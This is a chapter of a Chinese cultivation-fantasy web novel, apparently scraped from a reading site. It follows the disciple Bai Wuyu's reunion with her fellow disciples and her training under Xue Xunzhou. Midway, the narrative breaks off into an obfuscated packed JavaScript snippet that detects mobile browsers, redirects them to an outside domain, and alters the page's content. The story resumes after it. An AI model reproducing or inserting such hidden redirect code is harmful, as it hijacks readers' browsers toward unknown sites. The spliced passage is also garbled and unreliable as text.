“师尊,弟子听您的差遣。”
白芜玉目光坚定。既已入宗门仕途,除恶卫道本就顺天而为,遂民意而行。
“如此,那为师便送你入关,与寻舟一同修行。”
白芜玉有些不自在,道:“啊...那会不会扰乱到雪师兄呀?”
“不会。”竹鸿带着她走出洞穴,语气不咸不淡,“他还有一月出关,你跟着学习,足以持平你这碌碌无为的三年。”
一提起这事儿,白芜玉立马就萎靡不振,始终难抵过心中那一道坎。
三年前,她初到玲珑洞,跟其他人一样领的菱花种子。孕育夜寅丹期间不许使用任何术法催生花,需得精心养护直至本能开花结果。
她明明都是按照步骤做,都恨不得掏出心头血来喂养,可效果仍旧不显著。
原以为是花种的问题,磋磨着好几次依然什么也种不出来。
她可苦恼,都被人笑老惨了。
洞内常年照明不分昼夜,她看着旧人出,新人进,如此反复,三年光阴匆逝而过。
走至洞口,竹鸿忽停下脚步,缓缓开口:“芜玉,洞外有同伴在等你,两刻钟后为师再带你入关。”
白芜玉问道:“师尊不想露面?”
“嗯。”
白芜玉重重点头,俨然一副乖巧模样。师尊常年闭关不出,这次出来竟是为了自己,别提她有多感动。
竹鸿的身位摆着这,论谁不想得到仙尊的指点。
石门轻启,暖阳倾泻,久违的鲜木混淆百花香气扑面而来。
她走下青石台阶,凌弃身着白橙相间的衣袍,兴致勃勃的朝她迎上来。
“嚯!玉师妹,你可让我好等啊。”
时过三年,凌弃的眉眼越发精致锐利,嘴角微勾着似笑非笑,姿态潇洒,活脱脱一个翩翩少年郎。
“你不是说只需三天便可出来吗?难道师妹是不喜欢以天计数,而是钟爱以年计数。这知道的以为你去测属性,不知道的还以为你去冬眠呢,哈哈哈哈哈!”
他在她面前弯下腰捧腹大笑。
“......有甚好笑”
白芜玉嘴角一抽,险些自己也憋不住笑出声。
好一会儿,凌弃才直起身子来,竟直接比她高出一个头,分明之前他们俩的身高是差不多的。
他今年十七,想来是碰巧抽条了。
凌弃忽然盯着她的头顶,许是视线太炽热,她不由得发问:“你在看什么?”
“看你头上的牛有没有被吹起来。”
白芜玉:“......”
正值晌午,饿不死汇集一群干饭人,且每座其乐融融,相聊甚欢。
凌弃将竹子编织的菜谱递给白芜玉,十分豁朗,“玉师妹,看看想吃些什么?”
她翻开竹简,顿时两眼一黑,随后又合上还给凌弃。
“怎么了?没你爱吃的?”
她摇头,尬笑道:“我不认字。”
准确来说,是不认识人族的字。
凌弃露出两只虎牙,笑得眉眼弯弯,“那你有什么忌口?”
“我不挑食,但不要豆腐和青菜。”
凌弃:“......”
他简单拿了几样,是平日最多销量的菜系,两人一边吃着一边无厘头搭话。
吃到最后,白芜玉试探性问:“秋师姐,她出关了吗?”
“没有。无蒂尘都被师尊召去护法了,我估摸着山下是不太平。”凌弃咽下嘴里的菜,顺势放下筷子。
“知道不太平你还闲着。”
“哟!你教训我?白芜玉。”凌弃撩开额前的碎发,挑眉道:“我可是你的师兄,论武力值你可比我差得远呢。”
他这副傲娇欠扁的样子还真是一点没变。
白芜玉扯了扯嘴角,漫不经心的吐露几个字:“金玉其外败絮其中。”
凌弃一愣:“你什么意思?”
“我夸你是金玉呢。”
凌弃微微蹙眉,啧了一声,抓破脑袋也想不出这句话具体的意思,但他总感觉这不像是一句夸人的好话。
又凑过去问道:“这话你是哪听来的?”
凌弃可不信这是她说的,毕竟她时而傻帽,时而词不搭调,必然说不出这种高雅之词。
还金玉?
她怕不是被人说教过了。
“是玲珑洞中的美人师兄常常这样夸我,只是他说话太深奥了,我有些不懂,但这金玉听起来就不错。”
她虽沾沾自喜,但也是蛮苦恼呢,有些字合在一起真的是晦涩难懂。非要把话说得那么高深,才彰显肚子里有墨水似的。
白芜玉微微撅起嘴,狐狸眼中透着精明,心中暗骂道:
哼!
装货!
隔壁邻桌的几个弟子闻言面面相觑,这就是来自倒数第一和倒数第二的超绝钝感力吗?
凌弃经常在文术堂上开小差不听讲,是宗门上下公认的文盲,但这位玉师妹更是重量级别。
怪不得他俩能玩一起去。
白芜玉与凌弃分开后,就跟着竹鸿进入无凌峰,两人一前一后穿过枫叶林,而后伫立在一泓水潭边。
竹鸿捻指结印,口中念念有词,掌心中冒着金光。潭水泛起粼粼波纹,随着他掐诀速度欲快,水面快速拨开两侧水帘,露出一条通往潭底的青石梯。
“玄关已开,金石铺路,往下扎根,向上生长。做人要谦逊自持,做事要脚踏实地,为师不指望你有多大成就,好歹不要叫人欺负了去。”
他负手而立,语重心长细细的叮嘱。
带她入宗门三年,除了一事无成倒也无其他不妥,可这动荡年间弱肉强食,能生存多久取决于实力有多强悍。
短短三载,妖魔两族四处伏击、层出不穷,实力更是不容小觑。
她再这般荒废,若脱离了宗门的庇佑,怕是很难独善其身。
“弟子定不负师恩。”她恭敬作揖,转身走下青石阶梯,脚踩石梯便亮起一层金光。
步步生光,碎玉作响。
她穿过黑漆漆的潭底后,迎来一片亮光,漫天雪花四溢,蜿蜒的小溪湍流,葱郁的竹林随之摇摆。
前方有个人影在巨石上盘腿而坐,蓝白相间的衣袍迎风滚动,身形却未动分毫。
他双目紧闭,黑色长睫被雪染成白,似乎感应到有人靠近,故而缓缓睁开眼。
白芜玉脚步一滞,眼前的他似乎比三年前更加俊美,没了红纱遮挡,他深邃的眼眸中透着不羁与孤傲。
他不慌不忙站起身,唇齿微启,“才三年未见,师妹这样盯着我作甚?”
“觉得你和以前不一样,现在的你更漂亮。”下意识出口,她这才后知后觉慌乱收敛视线,朝他拱手,连连道歉:“抱歉,雪师兄,是我失言。”
雪寻舟走到她身旁,淡淡道:“不会夸人就别硬夸。”
白芜玉露出尴尬之色,随后又问道:“雪师兄,你的眼睛好啦?”
“嗯。”
雪寻舟转身朝着小溪上游的竹屋走去,“你跟我来。”
白芜玉紧跟其后,心想着不要再做出糗的事儿了,毕竟刚才真的好尴尬。
其实不管是东西还是人,她都喜欢直勾勾地盯着瞧,这种凝视分欣赏和捕获猎物。
这爱盯人看的毛病一定要改掉,她发誓,她真的发誓!
二人临近溪边,水中横亘几块大石头方便过岸,雪寻舟退至一旁示意让她先过去。
白芜玉小心翼翼地踩上光滑的大石头,突然脚一打滑,身子也往前扑下去,眼看着就要栽到溪水里。
雪寻舟眼疾手快,揪住她后衣领用力一拽,将她拉回溪边岸上。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279879|182506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“玉师妹当心些,还是我先行吧。”话毕,他撩起衣摆踩石而过。
白芜玉气儿都没喘匀,甚至还没来得及反应,就这么逮小鸡一样把她逮回来了?
“跟上。”
他自顾走着,还不忘催促她。
竹屋内陈设简陋,桌案上放置竹简和笔墨,屏风后摆放一张竹床,后院有一座凉亭,种着满园艳红的梅花树。
雪寻舟从屏风后走出,递给她一个白色锦盒。
白芜玉忐忑接过,懵懵地问:“雪师兄,这是什么?”
“夜寅丹。”
她愣住,不可置信打量起手里的锦盒,结巴道:“可我...我没种出来。”
“这是师尊吩咐的。”他倚在竹席,神情悠然自得,不紧不慢道:“你根基不稳,筑基难成气候,师尊特命我给你授业习术。”
“多谢雪师兄。”
“不谢。”
白芜玉打开锦盒,一枚金色丹药浮现眼前,狐狸眼中立马闪烁着波光。
吃下夜寅丹后,她忽觉浑身有些瘫软,便半跪在地上,体内血液逆流,好似在往同一个地方涌去。
颅内嗡嗡作响,她不敌咬紧牙关,作势要扑在地上,一只冰凉的大手托住她的侧脸。
她稍稍抬眼,额头已沁出薄汗。
雪寻舟默默托着她的脸便于支撑,不让她倒在地上。
良久,她身上逐渐恢复了点力气,感觉丹田处隐隐汇入一股气流,欲渐形成圆状,若隐若现形状时大时小。
白芜玉坐直身体,抬手运气,感受到真气在体内串流,她再捏诀,竟能将真气凝聚。
简直太不可思议了。
妖丹碎裂后,她再没办法运气凝结。
没想到这夜寅丹的作用竟跟妖丹一样,能汇聚灵气凝结乘势。
随后,雪寻舟拿出一沓古籍,放置竹桌上,缓缓道:“随着根基稳固后,师妹也随有过目不忘之领。你将这些秘籍看完,再跟着练功想来是不难。”
她咽了咽口水,稍有些为难道:“可是...雪师兄,我不认识字。”
此言一出,屋内静默一瞬。
“秘籍简略,不识字也没关系。”他将书籍交到白芜玉手中。
她默默翻开一本秘籍,除了上面的注解看不懂,其他动作招式都一目了然。
“师妹用心学着,一月后我来检验成果。”
她低眸看了一眼秘籍上舞动的小人儿,扭头询问道:“那我有趁手的法器么?”
“你跟我来。”雪寻舟顿了顿,随后走出竹屋,她抱着秘籍也跟了上去。
皑皑雪地中,他足尖点地腾空而起,借力踩着竹节飞跃,立于溪流最上端,溪水倾泻而下宛如瀑布。
只见他伸手潜入水中,凝结内力,握水成冰。
雪寻舟拿起冰杖俯身而下,蓝白衣袍在风中随意翻滚。
“先用着。”
白芜玉颔首,接过他手里的冰杖,“多谢雪师兄。”
他掀起眼皮望着她,语调散漫道:“你我是同门,谢字不必挂嘴边。”
她抿唇再次颔首,进入竹屋里席地而坐,认真翻阅起刚带出来的秘籍。
雪寻舟将竹屋留给她,撩开衣袍落坐在巨石上,抬手结印于胸前,闭目调息。
飞雪飘零不停歇,日夜辗转时光速。
白芜玉腾至半空,衣袂飘然,手中冰杖大力挥出道道残影,再扭转手腕一劈,一束如刀影的波光横扫大片竹林。
那秘籍里的招式全部刻入她脑中,配合冰杖日夜练习,早已滚瓜烂熟。
巨石上,雪寻舟微眯着双眸,凝视雪地忙不更迭的人影。
她展开双臂平稳落地,才走几步路便顿感背后发凉,一种强烈的危机感伏来。
硕硕银光闪过,一杆长戟笔直的朝她身后袭来。